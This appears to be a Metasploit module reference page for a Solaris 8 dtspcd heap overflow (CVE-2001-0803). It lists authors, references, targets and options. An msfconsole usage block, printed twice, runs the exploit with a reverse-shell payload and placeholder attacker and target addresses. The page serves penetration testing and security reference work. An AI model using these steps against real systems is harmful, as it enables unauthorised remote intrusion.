Solaris dtspcd Heap Overflow
This is a port of noir's dtspcd exploit. This module should work against any vulnerable version of Solaris 8 (sparc). The original exploit code was published in the book Shellcoder's Handbook.
Exploit Rank
- Great
Exploit Authors
- noir < noir [at] uberhax0r.net >
- hdm < hdm [at] metasploit.com >
Vulnerability References
- CVE-2001-0803
- OSVDB-4503
- BID-3517
- http://www.cert.org/advisories/CA-2001-31.html
- http://media.wiley.com/product_ancillary/83/07645446/DOWNLOAD/Source_Files.zip
Exploit Targets
- 0 - Solaris 8 (default)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/solaris/dtspcd/heap_noir
msf exploit(heap_noir) > show payloads
msf exploit(heap_noir) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(heap_noir) > set LHOST [MY IP ADDRESS]
msf exploit(heap_noir) > set RHOST [TARGET IP]
msf exploit(heap_noir) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/solaris/dtspcd/heap_noir
msf exploit(heap_noir) > show payloads
msf exploit(heap_noir) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(heap_noir) > set LHOST [MY IP ADDRESS]
msf exploit(heap_noir) > set RHOST [TARGET IP]
msf exploit(heap_noir) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 6112) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
